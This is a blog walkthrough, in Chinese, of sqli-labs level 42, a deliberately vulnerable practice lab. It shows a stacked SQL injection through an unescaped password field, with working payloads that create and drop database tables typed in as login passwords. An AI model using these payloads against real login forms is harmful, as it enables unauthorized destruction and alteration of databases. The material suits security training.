• Sqli-labs less 42


    Less-42

    Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。

    本关从login.php源代码中分析可知:

    Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。

    登录用户名随意

    密码登录用以下的方式c';drop table me# (删除me 表)

    c';create table me like users# (创建一个me 的表)

    下面这张图是我们没有登录时数据库当中存在的表

    此处登录username:admin

    Password:c';create table less42 like users#

    原sql语句为

    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

    登录时构造的sql语句为

    SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

    利用stacked injection,我们成功执行创建数据表less42的语句。

    从下图可以看出show tables后已经成功创建less42表。

    利用c';drop table me#作为登录密码,删除该表。

    同样的利用此方式可以更新和插入数据项,这里就不进行演示了。

  • 相关阅读:
    Java中的import
    C语言中变量的理解
    C语言中变量的储存类别
    android通话流程浅析RIL层
    IOS(数据持久化1)
    IOS(CGContent画曲线)
    IOS XML的类型数据的解析
    truncate narrow string converted from unicode string
    复习:C语言中的转义字符
    Note of using static_cast
  • 原文地址:https://www.cnblogs.com/lcamry/p/5762791.html
Copyright © 2020-2023  润新知